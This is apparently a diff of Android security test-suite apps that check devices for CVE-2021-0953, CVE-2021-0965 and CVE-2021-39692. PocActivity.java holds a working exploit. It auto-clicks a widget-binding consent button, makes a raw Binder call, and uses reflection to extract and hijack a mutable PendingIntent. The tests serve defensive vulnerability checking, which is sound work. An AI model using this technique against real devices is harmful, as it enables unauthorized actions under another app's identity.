+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2021_0953"
+ android:versionCode="1"
+ android:versionName="1.0">
+ <application
+ android:label="CVE-2021-0953"
+ android:supportsRtl="true">
+ <activity
+ android:name=".PocActivity"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN"/>
+ <category android:name="android.intent.category.LAUNCHER"/>
+ </intent-filter>
+ </activity>
+ <activity
+ android:name=".PocVulnerableActivity"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.speech.action.WEB_SEARCH"/>
+ <category android:name="android.intent.category.DEFAULT"/>
+ </intent-filter>
+ </activity>
+ </application>
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2021_0953" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/activity_main.xml
new file mode 100644
index 00000000000..13651bd8010
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/activity_main.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<LinearLayout
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:app="http://schemas.android.com/apk/res-auto"
+ android:orientation="vertical"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+ <View
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"/>
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/vulnerable_activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/vulnerable_activity_main.xml
new file mode 100644
index 00000000000..2d3268bef08
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/vulnerable_activity_main.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<LinearLayout
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+ <View
+ android:id="@+id/pocVulnerableActivity"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"/>
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/integers.xml
new file mode 100644
index 00000000000..c027ecfcd78
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/integers.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <integer name="assumption_failure">-1</integer>
+ <integer name="pass">0</integer>
+ <integer name="fail">1</integer>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/strings.xml
new file mode 100644
index 00000000000..69988650620
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/strings.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <string name="callback_key">testMutablePendingIntentCallback</string>
+ <string name="message_key">testMutablePendingIntentMessage</string>
+ <string name="status_key">testMutablePendingIntentStatus</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/DeviceTest.java
new file mode 100644
index 00000000000..ee5dac6d122
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/DeviceTest.java
@@ -0,0 +1,100 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0953;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Activity;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.RemoteCallback;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ public static final int TIMEOUT_SEC = 20;
+ public static final String TEST_PACKAGE = "android.security.cts.CVE_2021_0953";
+
+ @Test
+ public void testMutablePendingIntent() {
+ final Context context = getApplicationContext();
+ PocStatus status = new PocStatus();
+ CompletableFuture<PocStatus> callbackReturn = new CompletableFuture<>();
+ RemoteCallback cb = new RemoteCallback((Bundle result) -> {
+ PocStatus pocStatus = new PocStatus();
+ pocStatus.setErrorMessage(
+ result.getString(context.getResources().getString(R.string.message_key)));
+ pocStatus.setStatusCode(
+ result.getInt(context.getResources().getString(R.string.status_key)));
+ callbackReturn.complete(pocStatus);
+ });
+ launchActivity(PocActivity.class, cb); // start activity with callback
+ try {
+ // blocking while the remotecallback is unset
+ status = callbackReturn.get(TIMEOUT_SEC, TimeUnit.SECONDS);
+ } catch (InterruptedException | ExecutionException | TimeoutException e) {
+ assumeNoException(e);
+ }
+ assumeTrue(status.getErrorMessage(), status.getStatusCode() != context.getResources()
+ .getInteger(R.integer.assumption_failure));
+ assertNotEquals(status.getErrorMessage(), status.getStatusCode(),
+ context.getResources().getInteger(R.integer.fail));
+ }
+
+ private void launchActivity(Class<? extends Activity> clazz, RemoteCallback cb) {
+ final Context context = getApplicationContext();
+ final Intent intent = new Intent(Intent.ACTION_MAIN);
+ intent.setClassName(TEST_PACKAGE, clazz.getName());
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ intent.putExtra(context.getResources().getString(R.string.callback_key), cb);
+ context.startActivity(intent);
+ }
+
+ private class PocStatus {
+ private int statusCode;
+ private String errorMessage;
+
+ public void setStatusCode(int status) {
+ statusCode = status;
+ }
+
+ public void setErrorMessage(String message) {
+ errorMessage = message;
+ }
+
+ public int getStatusCode() {
+ return statusCode;
+ }
+
+ public String getErrorMessage() {
+ return errorMessage;
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocActivity.java
new file mode 100644
index 00000000000..c28bd75d1b9
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocActivity.java
@@ -0,0 +1,260 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0953;
+
+import android.app.Activity;
+import android.app.PendingIntent;
+import android.appwidget.AppWidgetHost;
+import android.appwidget.AppWidgetManager;
+import android.content.ComponentName;
+import android.content.ActivityNotFoundException;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.os.Parcel;
+import android.os.RemoteCallback;
+import android.os.RemoteException;
+import android.widget.RemoteViews;
+
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+import androidx.test.InstrumentationRegistry;
+
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.List;
+
+public class PocActivity extends Activity {
+ public static int APPWIDGET_ID;
+ public static int REQUEST_BIND_APPWIDGET = 0;
+ public static final int TIMEOUT_MS = 10000;
+
+ Class mClRemoteViews;
+ Field mActions, mResponse, mFldPendingIntent;
+ Method mGetDeclaredField;
+ Object mObjSetOnClickResponse;
+ PendingIntent mPendingIntent;
+
+ @Override
+ public void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.activity_main);
+ UiDevice device = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+ AppWidgetHost appWidgetHost;
+ AppWidgetManager appWidgetManager;
+ PocActivity pocActivity = PocActivity.this;
+ appWidgetManager = AppWidgetManager.getInstance(this);
+ appWidgetHost = new AppWidgetHost(PocActivity.this.getApplicationContext(), 0);
+ APPWIDGET_ID = appWidgetHost.allocateAppWidgetId();
+ Intent intent = new Intent("android.appwidget.action.APPWIDGET_BIND");
+ intent.putExtra("appWidgetId", APPWIDGET_ID);
+ intent.putExtra("appWidgetProvider", new ComponentName("com.android.quicksearchbox",
+ "com.android.quicksearchbox.SearchWidgetProvider"));
+ try {
+ PocActivity.this.startActivityForResult(intent, REQUEST_BIND_APPWIDGET);
+ } catch (ActivityNotFoundException e) {
+ sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+ "Could not start activity");
+ return;
+ }
+ String settingsPkgName = "";
+ PackageManager pm = getPackageManager();
+ List<ResolveInfo> ris = pm.queryIntentActivities(intent, PackageManager.MATCH_DEFAULT_ONLY);
+ for (ResolveInfo ri : ris) {
+ if (ri.activityInfo.name.contains("AllowBindAppWidgetActivity")) {
+ settingsPkgName = ri.activityInfo.packageName;
+ }
+ }
+ if (settingsPkgName.equals("")) {
+ sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+ "Settings package not found/AllowBindAppWidgetActivity not found");
+ return;
+ }
+ if (!device.wait(Until.hasObject(By.pkg(settingsPkgName)), TIMEOUT_MS)) {
+ sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+ "Unable to start AllowBindAppWidgetActivity");
+ return;
+ }
+ boolean buttonClicked = false;
+ BySelector selector = By.clickable(true);
+ List<UiObject2> objects = device.findObjects(selector);
+ for (UiObject2 object : objects) {
+ String objectText = object.getText();
+ String objectClass = object.getClassName();
+ if (objectText == null) {
+ continue;
+ }
+ if (objectText.equalsIgnoreCase("CREATE")) {
+ object.click();
+ buttonClicked = true;
+ break;
+ }
+ }
+ if (!device.wait(Until.gone(By.pkg(settingsPkgName)), TIMEOUT_MS) || !buttonClicked) {
+ sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+ "'Create' button not found/clicked");
+ return;
+ }
+ }
+
+ @Override
+ public void onActivityResult(int requestCode, int resultCode, Intent data) {
+ super.onActivityResult(requestCode, resultCode, data);
+ PocActivity pocActivity = PocActivity.this;
+ if (requestCode == REQUEST_BIND_APPWIDGET) {
+ if (resultCode == -1) {
+ APPWIDGET_ID = data.getIntExtra("appWidgetId", APPWIDGET_ID);
+ }
+ }
+ RemoteViews remoteViews =
+ pocActivity.callBinder(pocActivity.getPackageName(), APPWIDGET_ID);
+ if (remoteViews == null) {
+ sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+ "remoteViews is null as callBinder() failed");
+ return;
+ }
+ try {
+ mClRemoteViews = Class.forName("android.widget.RemoteViews");
+ } catch (ClassNotFoundException e) {
+ e.printStackTrace();
+ sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+ "Class android.widget.RemoteViews not found");
+ return;
+ }
+ Class[] rvSubClasses = mClRemoteViews.getDeclaredClasses();
+ Class clSetOnClickResponse = null;
+ Class clRemoteResponse = null;
+ for (Class c : rvSubClasses) {
+ if (c.getCanonicalName().equals("android.widget.RemoteViews.SetOnClickResponse")) {
+ clSetOnClickResponse = c;
+ }
+ if (c.getCanonicalName().equals("android.widget.RemoteViews.RemoteResponse")) {
+ clRemoteResponse = c;
+ }
+ }
+ try {
+ mActions = mClRemoteViews.getDeclaredField("mActions");
+ } catch (NoSuchFieldException e) {
+ e.printStackTrace();
+ sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+ "mActions field not found");
+ return;
+ }
+ mActions.setAccessible(true);
+ try {
+ mObjSetOnClickResponse = ((ArrayList) mActions.get(remoteViews)).get(1);
+ mGetDeclaredField = Class.class.getDeclaredMethod("getDeclaredField", String.class);
+ mResponse = (Field) mGetDeclaredField.invoke(clSetOnClickResponse, "mResponse");
+ } catch (NoSuchMethodException | IllegalAccessException | InvocationTargetException e) {
+ e.printStackTrace();
+ sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+ "mResponse field not found");
+ return;
+ }
+ mResponse.setAccessible(true);
+ try {
+ mFldPendingIntent =
+ (Field) mGetDeclaredField.invoke(clRemoteResponse, "mPendingIntent");
+ } catch (IllegalAccessException | InvocationTargetException e) {
+ e.printStackTrace();
+ sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+ "mPendingIntent field not found");
+ return;
+ }
+ mFldPendingIntent.setAccessible(true);
+ try {
+ mPendingIntent = (PendingIntent) mFldPendingIntent
+ .get((RemoteViews.RemoteResponse) mResponse.get(mObjSetOnClickResponse));
+ } catch (IllegalAccessException e) {
+ e.printStackTrace();
+ sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+ "Unable to get PendingIntent");
+ return;
+ }
+ Intent spuriousIntent = new Intent(PocActivity.this, PocVulnerableActivity.class);
+ spuriousIntent.setPackage(getApplicationContext().getPackageName());
+ spuriousIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ try {
+ mPendingIntent.send(getApplicationContext(), 0, spuriousIntent, null, null);
+ } catch (PendingIntent.CanceledException e) {
+ // this is expected when vulnerability is not present and hence return
+ sendTestResult(getResources().getInteger(R.integer.pass), "Pass");
+ return;
+ }
+ sendTestResult(getResources().getInteger(R.integer.fail),
+ "Device is vulnerable to b/184046278!!"
+ + " Mutable PendingIntent in QuickSearchBox widget");
+ }
+
+ private IBinder getService(String service) {
+ try {
+ Class clServiceManager = Class.forName("android.os.ServiceManager");
+ Method mtGetService = clServiceManager.getMethod("getService", String.class);
+ return (IBinder) mtGetService.invoke(null, service);
+ } catch (ClassNotFoundException | NoSuchMethodException | IllegalAccessException
+ | InvocationTargetException e) {
+ e.printStackTrace();
+ sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+ "Failed to invoke android.os.ServiceManager service");
+ return null;
+ }
+ }
+
+ private RemoteViews callBinder(String callingPackage, int appWidgetId) {
+ String INTERFACE_DESCRIPTOR = "com.android.internal.appwidget.IAppWidgetService";
+ int GET_APP_WIDGET_VIEWS = 7;
+ Parcel data = Parcel.obtain();
+ Parcel reply = Parcel.obtain();
+ RemoteViews remoteViews = null;
+ IBinder service = getService("appwidget");
+ if (service != null) {
+ data.writeInterfaceToken(INTERFACE_DESCRIPTOR);
+ data.writeString(callingPackage);
+ data.writeInt(appWidgetId);
+ try {
+ service.transact(GET_APP_WIDGET_VIEWS, data, reply, 0);
+ } catch (RemoteException e) {
+ e.printStackTrace();
+ sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+ "service.transact() failed due to RemoteException");
+ return null;
+ }
+ reply.readException();
+ if (reply.readInt() != 0) {
+ remoteViews = (RemoteViews) RemoteViews.CREATOR.createFromParcel(reply);
+ }
+ }
+ return remoteViews;
+ }
+
+ private void sendTestResult(int statusCode, String errorMessage) {
+ RemoteCallback cb =
+ (RemoteCallback) getIntent().getExtras().get(getString(R.string.callback_key));
+ Bundle res = new Bundle();
+ res.putString(getString(R.string.message_key), errorMessage);
+ res.putInt(getString(R.string.status_key), statusCode);
+ finish();
+ cb.sendResult(res); // update callback in test
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocVulnerableActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocVulnerableActivity.java
new file mode 100644
index 00000000000..b99ba9dc3e9
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocVulnerableActivity.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0953;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+public class PocVulnerableActivity extends Activity {
+ public void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.vulnerable_activity_main);
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/Android.bp
index ab1f6278b4f..6f672e031e0 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/Android.bp
@@ -33,5 +33,5 @@ android_test_helper_app {
"androidx.test.rules",
"androidx.test.uiautomator_uiautomator",
],
- sdk_version: "current",
+ platform_apis: true,
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/DeviceTest.java
index e709d0a8044..46f16135532 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/DeviceTest.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/DeviceTest.java
@@ -18,9 +18,20 @@ package android.security.cts.CVE_2021_0965;
import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeNoException;
+
+import android.app.UiAutomation;
import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.os.UserHandle;
+import android.provider.Settings;
+
+import androidx.test.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
import androidx.test.uiautomator.UiDevice;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -34,23 +45,64 @@ public class DeviceTest {
try {
device.wakeUp();
} catch (Exception e) {
+ e.printStackTrace();
+ assumeNoException(e);
}
device.pressHome();
}
+ private String getSettingsPkgName() {
+ PackageManager mgr = getInstrumentation().getTargetContext().getPackageManager();
+ UiAutomation ui = getInstrumentation().getUiAutomation();
+ String name = "com.android.settings";
+ try {
+ ui.adoptShellPermissionIdentity(android.Manifest.permission.INTERACT_ACROSS_USERS);
+ ResolveInfo info = mgr.resolveActivityAsUser(new Intent(Settings.ACTION_SETTINGS),
+ PackageManager.MATCH_SYSTEM_ONLY, UserHandle.USER_SYSTEM);
+ if (info != null && info.activityInfo != null) {
+ name = info.activityInfo.packageName;
+ }
+ } catch (Exception e) {
+ e.printStackTrace();
+ assumeNoException(e);
+ } finally {
+ ui.dropShellPermissionIdentity();
+ }
+ return name;
+ }
+
+ private boolean hasFeature(String feature) {
+ return InstrumentationRegistry.getContext().getPackageManager().hasSystemFeature(feature);
+ }
+
+ private boolean isTV() {
+ return hasFeature(PackageManager.FEATURE_LEANBACK);
+ }
+
@Test
public void testPermission() {
+ String pkg = getSettingsPkgName();
+ String cls = "";
+ if (isTV()) {
+ cls = ".accessories.BluetoothPairingDialog";
+ } else {
+ cls = ".bluetooth.BluetoothPairingDialog";
+ }
+
try {
Intent intent = new Intent(Intent.ACTION_MAIN);
- intent.setClassName("com.android.settings",
- "com.android.settings.bluetooth.BluetoothPairingDialog");
+ intent.setClassName(pkg, pkg + cls);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
getApplicationContext().startActivity(intent);
- } catch (SecurityException e) {
- return;
+ } catch (Exception ex) {
+ ex.printStackTrace();
+ if (ex instanceof SecurityException) {
+ return;
+ }
+ assumeNoException(ex);
}
/* If SecurityException is not thrown, it indicates absence of fix */
- throw new RuntimeException("Vulnerable to b/194300867 !!");
+ fail("Vulnerable to b/194300867 !!");
}
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/Android.bp
new file mode 100644
index 00000000000..602c426190f
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/Android.bp
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+ name: "CVE-2021-39692",
+ defaults: ["cts_support_defaults"],
+ srcs: ["src/**/*.java"],
+ test_suites: [
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ "androidx.test.core",
+ ],
+ sdk_version: "current",
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/AndroidManifest.xml
new file mode 100644
index 00000000000..459d99233f2
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/AndroidManifest.xml
@@ -0,0 +1,58 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2021_39692">
+
+ <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+
+ <application
+ android:testOnly="false"
+ android:allowBackup="true"
+ android:label="CVE-2021-39692">
+ <uses-library android:name="android.test.runner" />
+ <activity android:name=".PocActivity"
+ android:enabled="true"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+
+ <service android:name=".PocService"
+ android:enabled="true"
+ android:exported="false" />
+
+ <receiver android:name=".PocDeviceAdminReceiver"
+ android:permission="android.permission.BIND_DEVICE_ADMIN"
+ android:exported="true">
+ <meta-data
+ android:name="android.app.device_admin"
+ android:resource="@xml/device_admin_receiver"/>
+ <intent-filter>
+ <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+ <action android:name="android.intent.action.BOOT_COMPLETED" />
+ <action android:name="android.app.action.PROFILE_OWNER_CHANGED" />
+ <action android:name="android.app.action.DEVICE_OWNER_CHANGED" />
+ </intent-filter>
+ </receiver>
+ </application>
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2021_39692" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/values/strings.xml
new file mode 100644
index 00000000000..cf041ca29d4
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/values/strings.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<resources>
+ <string name="activityNotStartedException">Unable to start the %1$s</string>
+ <string name="activityNotFoundMsg">The activity with intent %1$s was not found</string>
+ <string name="canNotDrawOverlaysMsg">The application cannot draw overlays</string>
+ <string name="dumpsysActivityCmd">dumpsys activity %1$s</string>
+ <string name="dumpsysActivityException">Could not execute dumpsys activity command</string>
+ <string name="overlayErrorMessage">Device is vulnerable to b/209611539 hence any app with
+ "SYSTEM_ALERT_WINDOW can overlay the %1$s screen</string>
+ <string name="mResumedTrue">mResumed=true</string>
+ <string name="overlayButtonText">OverlayButton</string>
+ <string name="overlayUiScreenError">Overlay UI did not appear on the screen</string>
+ <string name="testPkg">android.security.cts.CVE_2021_39692</string>
+ <string name="vulActivityNotRunningError">The %1$s is not currently running on the device
+ </string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/xml/device_admin_receiver.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/xml/device_admin_receiver.xml
new file mode 100644
index 00000000000..af74d3bebb6
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/xml/device_admin_receiver.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<device-admin>
+ <support-transfer-ownership/>
+ <uses-policies>
+ <limit-password/>
+ <watch-login/>
+ <reset-password/>
+ <force-lock/>
+ <wipe-data/>
+ <expire-password/>
+ <encrypted-storage/>
+ <disable-camera/>
+ <disable-keyguard-features/>
+ </uses-policies>
+</device-admin>
